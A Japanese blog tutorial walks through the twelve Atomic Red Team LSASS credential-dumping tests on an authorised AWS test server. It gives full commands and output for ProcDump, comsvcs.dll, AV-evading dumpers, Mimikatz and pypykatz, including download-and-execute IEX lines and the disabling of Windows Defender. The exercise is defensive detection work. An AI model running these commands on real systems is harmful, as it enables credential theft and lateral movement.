Atomic Red Teamを使ってレッドチーム演習について学んでみる

2022.08.05

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

今回はペネトレーションテストのAtomic Red Teamからレッドチーム演習について学んでみようと思います。

Atomic Red Teamとは

MITRE ATT&CKの戦術とテクニックのマトリクスを基に、どのテクニックを検知/防御可能であるかの現状を知るための模擬攻撃を行うため、オープンソースで開発されているライブラリを提供しています。

現在719個あるテクニックの中で216個のテクニックに相当する模擬攻撃が可能となっています。(赤がカバー済みの数で、ピンクがカバーできていない数です。)


URL: https://atomicredteam.io/coverage/

このライブラリは、Githubで公開されています。(https://github.com/redcanaryco/atomic-red-team)
ではこちらのGithubにアクセスして早速やってみましょう。Getting Startedのページが用意されているので、そちらを参照します。

はじめる前に

まず、注意事項として、レッドチーム演習の前に必ず、実行対象となるシステムの管理者に許可をとってください。IaaSやSaaSなどが対象の場合、必ずその提供ベンダーの規約に則った上で実行する必要があります。確認しましょう。 AWS上での侵入テストに関するポリシーはこちらになります。

弊社のブログでもAWS上での侵入テスト時の注意事項をまとめた記事を紹介させていただいています。AWS環境でテストされる場合は一度ご覧ください。

次に攻撃の対象となるテストマシーンを用意します。

レッドチーム演習を行うテスト項目を選択する

行いたい攻撃演習をプラットフォームやOSなどから検討することができるように、Github内にドキュメントを作ってくれています。戦術毎に整理されているので、必要に応じてMITREのマトリックスデータベースを検索しながら検討を行います。

試しに戦術「Credential Access」のテクニック「T1003.001」LSASS Memoryのレッドチーム演習を行ってみようと思います。

こちらは、対象のOSがWindowsとなっていますので、Windows Server 2019をAWS上に用意しました。

やってみる

各テクニックの攻撃実行手順は、Githubのatomicsの下の対象のテクニック識別子(MITRE ATT&CK)の配下にある、マークダウンファイルに記載がされています。

こちらにテクニックの概要も記載されているので、確認します。

Google翻訳すると以下のような解説になります。

敵対者は、Local Security Authority Subsystem Service (LSASS) のプロセス メモリに保存されている資格情報へのアクセスを試みる可能性があります。 ユーザーがログオンすると、システムはさまざまな資格情報を生成し、LSASS プロセス メモリに格納します。 これらのクレデンシャル マテリアルは、管理ユーザーまたはシステムによって収集され、[代替認証マテリアルの使用] を使用して [ラテラル ムーブメント] を実行するために使用できます。 インメモリ手法と同様に、LSASS プロセス メモリをターゲット ホストからダンプし、ローカル システムで分析することができます。

Windowsのメモリ空間に保存されている、ローカルコンピュータやドメインのユーザー認証情報を取得して、他のシステムへのアクセスや権限の高いユーザーへの昇格に利用される攻撃になります。パスワードを平文で取得したり、Pass-the-HashPass-the-Ticketと呼ばれる、通常とは異なるログイン方法で他のシステムへアクセスするために用いられるテクニックになります。

「T1003.001」LSASS Memoryのレッドチーム演習は12種類用意されています。それぞれ見ていきましょう。

Test #1 - Dump LSASS.exe Memory using ProcDump

MSのSysinternalsユーティリティのProcDump.exeを使って、LSASSプロセスのメモリ情報をファイルに書き込みます。
Root権限でPowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\Administrator> $procdump_exe = "RedTeam-Test\T1003.001\bin\procdump.exe"
PS C:\Users\Administrator> New-Item -ItemType Directory (Split-Path $procdump_exe) | Out-Null
PS C:\Users\Administrator> Copy-Item $env:TEMP\Procdump\Procdump.exe $procdump_exe -Force
PS C:\Users\Administrator> $procdump_exe -accepteula -ma lsass.exe $output_file
PS C:\Users\Administrator> RedTeam-Test\T1003.001\bin\procdump.exe -accepteula -ma lsass.exe $output_file
プログラム 'procdump.exe' の実行に失敗しました: アクセスが拒否されました。発生場所 行:1 文字:1
+ RedTeam-Test\T1003.001\bin\procdump.exe -accepteula -ma lsass.exe $ou ...
+ 
発生場所 行:1 文字:1
+ RedTeam-Test\T1003.001\bin\procdump.exe -accepteula -ma lsass.exe $ou ...
+ 
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

ここでエラーが発生しました。同時に画面にWindows Defenderのポップアップが出てきていますので、Windows Defenderが検知して止めてくれたようです。

レッドチーム演習では、こういったセキュリティソリューションで正しく検知できていることを確認していきます。今回はWindows Defenderを止めて、この後成功した場合にどうなるかまで見ていきます。

Windows DefenderをOFFにしてもう一度実行してみます。

PS C:\Users\Administrator> RedTeam-Test\T1003.001\bin\procdump.exe -accepteula -ma lsass.exe $output_file

ProcDump v10.11 - Sysinternals process dump utility
Copyright (C) 2009-2021 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[14:56:16] Dump 1 initiated: C:\Windows\Temp\lsass_dump.dmp
[14:56:16] Dump 1 writing: Estimated dump file size is 46 MB.
[14:56:17] Dump 1 complete: 47 MB written in 0.9 seconds
[14:56:17] Dump count reached.

ダンプファイルができました。成功したようです。このダンプファイルの中にこの端末が持つ認証情報が含まれているということになります。

最後にファイルを消しておきます。

PS C:\Users\Administrator> del $output_file

Test #2 - Dump LSASS.exe Memory using comsvcs.dll

MSのネイティブのDLLファイル(comsvcs.dll)を使ってLSASSプロセスのメモリをダンプします。
Root権限でPowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
PS C:\Users\Administrator> Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore

ダンプファイルの生成に成功しました。

こちらもファイルを削除しておきます。

PS C:\Users\Administrator> Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore

Test #3 - Dump LSASS.exe Memory using direct system calls and API unhooking

AV/EDRの検知をバイパスする仕組みを実装したダンプツール(Dumpert)を使ってLSASSプロセスのメモリをダンプします。 Root権限でコマンドプロンプト/PowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\Administrator> $dumpert_exe = "RedTeam-Test\T1003.001\bin\Outflank-Dumpert.exe"
PS C:\Users\Administrator> New-Item -ItemType Directory (Split-Path $dumpert_exe) -Force | Out-Null
PS C:\Users\Administrator> Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile $dumpert_exe
PS C:\Users\Administrator> & $dumpert_exe
 ________          __    _____.__                 __
 \_____  \  __ ___/  |__/ ____\  | _____    ____ |  | __
  /   |   \|  |  \   __\   __\|  | \__  \  /    \|  |/ /
 /    |    \  |  /|  |  |  |  |  |__/ __ \|   |  \    <
 \_______  /____/ |__|  |__|  |____(____  /___|  /__|_ \
         \/                             \/     \/     \/
                                  Dumpert
                               By Cneeliz @Outflank 2019

[1] Checking OS version details:
        [+] Operating System is Windows 10 or Server 2016, build number 17763
        [+] Mapping version specific System calls.
[2] Checking Process details:
        [+] Process ID of lsass.exe is: 596
        [+] NtReadVirtualMemory function pointer at: 0x00007FFF618A0EF0
        [+] NtReadVirtualMemory System call nr is: 0x3f
        [+] Unhooking NtReadVirtualMemory.
[3] Create memorydump file:
        [+] Open a process handle.
        [+] Dump lsass.exe memory to: \??\C:\Windows\Temp\dumpert.dmp
        [+] Dump succesful.

ダンプファイルの生成に成功しました。

ファイルを削除しておきます。

PS C:\Users\Administrator> del C:\windows\temp\dumpert.dmp

Test #4 - Dump LSASS.exe Memory using NanoDump

Syscall検出を回避するための仕組みがを実装したダンプツール(NanoDump)。 Root権限でコマンドプロンプト/PowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> del C:\windows\temp\dumpert.dmp
PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\Administrator> Invoke-WebRequest "https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe" -OutFile "$env:TEMP\nanodump.x64.exe"
PS C:\Users\Administrator> & $env:TEMP\nanodump.x64.exe -w $env:TEMP\nanodump.dmp
The minidump has an invalid signature, restore it running:
bash restore_signature.sh nanodump.dmp

ダンプファイルの生成に成功しました。

ファイルを削除しておきます。

PS C:\Users\Administrator> del $env:TEMP\nanodump.dmp

Test #5 - Dump LSASS.exe Memory using Windows Task Manager

WindowsタスクマネージャーからLSASSプロセスのダンプファイルを生成します。
Root権限での実行が必要です。

タスクマネージャーを開いて「詳細」からlsass.exeを探します。右クリックすると、「ダンプ ファイルの作成」で作成します。


ダンプファイルの生成に成功しました。

こちらのダンプファイルは次のテストで使いますので、このまま残しておきます。

Test #6 - Offline Credential Theft With Mimikatz

1 - 5までのテストはメモリ空間をダンプファイルに保存する手法でした。こちらの手順はダンプファイルの中身をパスワードやPass-the-Hashに使うHash値として取り出す手法となります。
Mimikatzと呼ばれるハッキングツールで抽出していきます。こちらはGithub上で公開されているので、そちらを使います。

Root権限でコマンドプロンプト/PowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\Administrator> $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
PS C:\Users\Administrator> Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\Mimi.zip"
PS C:\Users\Administrator> Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
PS C:\Users\Administrator> $mimikatz_exe = "RedTeam-Test\T1003.001\bin\mimikatz.exe"
PS C:\Users\Administrator> New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
PS C:\Users\Administrator> Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
PS C:\Users\Administrator> & $mimikatz_exe "sekurlsa::minidump $input_file" "sekurlsa::logonpasswords full" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::minidump C:\Users\ADMINI~1\AppData\Local\Temp\3\lsass.DMP
Switch to MINIDUMP : 'C:\Users\ADMINI~1\AppData\Local\Temp\3\lsass.DMP'

mimikatz(commandline) # sekurlsa::logonpasswords full
Opening : 'C:\Users\ADMINI~1\AppData\Local\Temp\3\lsass.DMP' file for minidump...

Authentication Id : 0 ; 51415987 (00000000:03108bb3)
Session           : RemoteInteractive from 3
User Name         : Administrator
Domain            : EC2AMAZ-10ETPGE
Logon Server      : EC2AMAZ-10ETPGE
Logon Time        : 2022/08/04 21:47:18
SID               : S-1-5-21-3814335055-3932695389-2998369396-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : EC2AMAZ-10ETPGE
         * NTLM     : eeec241c17d0d9f52efd6080bf9c7bbe
         * SHA1     : 93afcccdb4b44bdb2a0c2c9c41eae9b74e42102e
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : EC2AMAZ-10ETPGE
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : EC2AMAZ-10ETPGE
         * Password : (null)
        ssp :
        credman :
...
mimikatz(commandline) # exit
Bye!

すると、NTLMのところにNTLM HASHが表示されました。これをPass-the-Hashで利用することが可能です。

Test #7 - LSASS read with pypykatz

PythonでLSASSプロセスのSecretsを解析します。Mimikatzのsekurlsa::と同等の機能が含まれています。
Python 3のインストールが必要です。インストールされていない場合はこちらからインストールしてください。

Root権限でコマンドプロンプトの実行が必要です。コマンドプロンプトを開きます。

まず、pypykatzをpipでインストールします。

C:\Users\Administrator>pip install pypykatz

pypykatzがインストールできたら、LSASSプロセスのメモリーを直接読み込んでユーザークレデンシャルを表示させることができます。

C:\Users\Administrator>pypykatz live lsa
FILE: ======== live =======
== LogonSession ==
authentication_id 51415987 (3108bb3)
session_id 3
username Administrator
domainname EC2AMAZ-10ETPGE
logon_server EC2AMAZ-10ETPGE
logon_time 2022-08-04T12:47:18.681479+00:00
sid S-1-5-21-3814335055-3932695389-2998369396-500
luid 51415987
        == MSV ==
                Username: Administrator
                Domain: EC2AMAZ-10ETPGE
                LM: NA
                NT: eeec241c17d0d9f52efd6080bf9c7bbe
                SHA1: 93afcccdb4b44bdb2a0c2c9c41eae9b74e42102e
                DPAPI: NA
        == WDIGEST [3108bb3]==
                username Administrator
                domainname EC2AMAZ-10ETPGE
                password None
                password (hex)
        == Kerberos ==
                Username: Administrator
                Domain: EC2AMAZ-10ETPGE
        == WDIGEST [3108bb3]==
                username Administrator
                domainname EC2AMAZ-10ETPGE
                password None
                password (hex)
        == DPAPI [3108bb3]==
                luid 51415987
                key_guid c4127d5d-b86d-4e0b-b0f9-c1f1348d17f1
                masterkey 67bc5e102ef5041e7444657de9bb234e489a7654c4576378b292699dfc1e1acf0788eca352dd9a28c82677f1ba7b8e25c7149b1442981cc88891844738691473
                sha1_masterkey a0a91cbaa0967330545e130800c2c2882217db8d
...

こちらもMimikatzの時と同様にNTLM Hashが表示されていることが確認できます。

Test #8 - Dump LSASS.exe Memory using Out-Minidump.ps1

PowerShellファイル(Out-Minidump.ps1)を利用して、LSASSプロセスのメモリ空間をダンプファイルに書き込みます。

Root権限でPowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\Administrator> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump


    ディレクトリ: C:\Users\Administrator


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       2022/08/05     14:13       48032252 lsass_596.dmp

ダンプファイルの生成に成功しました。

ファイルを削除しておきます。

PS C:\Users\Administrator> del C:\Users\Administrator\lsass_*.dmp

Test #9 - Create Mini Dump of LSASS.exe using ProcDump

MSのSysinternalsユーティリティのProcDump.exeを使って、LSASSプロセスのメモリ情報をミニダンプファイルに書き込みます。

Root権限でコマンドプロンプト/PowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
PS C:\Users\Administrator> Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
PS C:\Users\Administrator> $procdump_exe = ".\RedTeam-Test\T1003.001\bin\procdump.exe"
PS C:\Users\Administrator> New-Item -ItemType Directory (Split-Path $procdump_exe) -Force | Out-Null
PS C:\Users\Administrator> Copy-Item $env:TEMP\Procdump\Procdump.exe $procdump_exe -Force
PS C:\Users\Administrator> & $procdump_exe -accepteula -mm lsass.exe

ProcDump v10.11 - Sysinternals process dump utility
Copyright (C) 2009-2021 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[14:23:12] Dump 1 initiated: C:\Users\Administrator\lsass.exe_220805_142312.dmp
[14:23:13] Dump 1 complete: 2 MB written in 0.3 seconds
[14:23:13] Dump count reached.

ダンプファイルの生成に成功しました。

ファイルを削除しておきます。

del C:\Users\Administrator\lsass.exe_*.dmp

Test #10 - Powershell Mimikatz

リモートファイルからMimikatzを呼び出して、クレデンシャルダンプをします。

PS C:\Users\Administrator> $remote_script = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"
PS C:\Users\Administrator> IEX (New-Object Net.WebClient).DownloadString($remote_script); Invoke-Mimikatz -DumpCreds

  .#####.   mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 51415987 (00000000:03108bb3)
Session           : RemoteInteractive from 3
User Name         : Administrator
Domain            : EC2AMAZ-10ETPGE
Logon Server      : EC2AMAZ-10ETPGE
Logon Time        : 2022/08/04 21:47:18
SID               : S-1-5-21-3814335055-3932695389-2998369396-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : EC2AMAZ-10ETPGE
         * NTLM     : eeec241c17d0d9f52efd6080bf9c7bbe
         * SHA1     : 93afcccdb4b44bdb2a0c2c9c41eae9b74e42102e
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : EC2AMAZ-10ETPGE
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : EC2AMAZ-10ETPGE
         * Password : (null)
        ssp :
        credman :
...

Test #11 - Dump LSASS with .Net 5 createdump.exe

.Net 5で作成されたダンプExeファイル。
(https://github.com/Scoubi/RedTeam-Tools/blob/main/createdump.exe)

PS C:\Users\Administrator> $LSASS = tasklist | findstr "lsass"
PS C:\Users\Administrator> $FIELDS = $LSASS -split "\s+"
PS C:\Users\Administrator> $ID = $FIELDS[1]
PS C:\Users\Administrator> & "C:\Users\Administrator\Downloads\createdump.exe" -u -f $env:TEMP\dotnet-lsass.dmp $ID
Writing full dump to file C:\Users\ADMINI~1\AppData\Local\Temp\3\dotnet-lsass.dmp
Dump successfully written

ダンプファイルの生成に成功しました。

削除します。

PS C:\Users\Administrator> del $env:TEMP\dotnet-lsass.dmp

Test #12 - Dump LSASS.exe using imported Microsoft DLLs

アンチウィルスの検知を回避するための仕組みを実装したダンプツール(xordump)。

Root権限でPowerShellの実行が必要です。PowerShellを開きます。

PS C:\Users\Administrator> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\Administrator> $xordump_exe = "C:\Windows\Temp\xordump.exe"
PS C:\Users\Administrator> Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile $xordump_exe
PS C:\Users\Administrator> $output_file = "C:\Windows\Temp\lsass-xordump.t1003.001.dmp"
PS C:\Users\Administrator> & $xordump_exe -out $output_file -x 0x41

ダンプファイルの生成に成功しました。

削除します。

PS C:\Users\Administrator> Remove-Item $output_file -ErrorAction Ignore

まとめ

いかがでしたでしょうか。今回は、レッドチーム演習として、テクニック「T1003.001」LSASS Memoryの12種類の攻撃を試してみました。
Atomic Red Teamを使って、MITRE ATT&CKで定義された戦術・テクニックに対して自組織で守れている部分といない部分を知ることで、リスクの評価とセキュリティ戦略に役立てそうです。
みまさんもぜひ、自組織でレッドチームを編成してセキュリティ強化の施策に役立ててください。